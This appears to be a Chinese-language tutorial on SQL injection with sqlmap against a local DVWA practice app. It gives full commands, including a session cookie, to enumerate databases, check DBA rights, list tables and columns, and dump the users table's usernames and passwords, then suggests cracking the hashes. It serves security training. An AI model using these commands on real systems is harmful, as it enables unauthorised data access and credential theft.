结合sqlmap进行sql注入过程
结合sqlmap进行sql注入:(-r后面是通过burp suite抓出来的请求包;-p后面是注入点,即该请求里携带的某个参数)
-
Get请求的注入:
./sqlmap.py -r rss_test.txt -p orderId
-
--cookie表示携带cookie的请求,一般为登录cookie
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-4530-9f07-677aa2176c6c; PHPSESSID=69vkfcgth1nurep7o8uhf7a577" –dbs
-
-
post请求的注入:rss_test.txt是post请求的抓包数据信息
-
如果post注入,需要body信息,确定是-r txt 还是–data=“name=value”
python sqlmap.py -r rss_test.txt -p orderId --dbs --random-agent
-
也可不写注入点,比如
./sqlmap.py -r xx.txt
-
注入日志输出在如下路径:
C:\Users\cj\AppData\Local\sqlmap\output
-
-
注入过程如下:
-
如上图,表示当前sql注入已经探测出了该数据库类型为MySQL,如果确定是,则直接输入Y,跳过其他数据库类型的检测
-
对于其余的测试,是否要包括所有针对“MySQL”扩展的测试提供的水平(1)和风险(1)值,输入Y,包含所有针对MySQL的测试
-
如上图,检测到参数id存在注入的风险(结果中包含
“id” is Vulnerable
字段表示存在注入),是否想要保持测试其他的参数,如果确定其他参数无注入风险的话,直接输入N,不再测其他参数。说明这里存在sql注入点。 -
接下来会注入并获取数据库(前提是,当前的cookie需有效,若无效,则会获取不到数据库),如下
-
用 --current-db进一步获取当前数据库
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --current-db
-
用 --is-dba判断该注入点是否有管理员权限:返回true 表示是管理员
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" --is-dba
-
用 -D "dvwa" –tables 获取当前数据库的所有表(dvwa数据库是之前查出的当前数据库)
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" –tables
-
用 -D "dvwa" -T "users" –columns 获取数据库dvwa中表users的所有字段
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users" --columns
-
用 -D "dvwa" -T "users" -C "user,password" –dump 获取user和password字段的值,如下
E:\sqlmap-master>python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="security=low; Pycharm-e747a335=4f1af00c-ab24-45 30-9f07-677aa2176c6c; PHPSESSID=sscv0f77n6bik3vcsd8mhtma93" -D "dvwa" -T "users" -C "user,password" –dump
-
这里获取到的用户名和密码,猜测密码加密方式,再用对应的方式解密。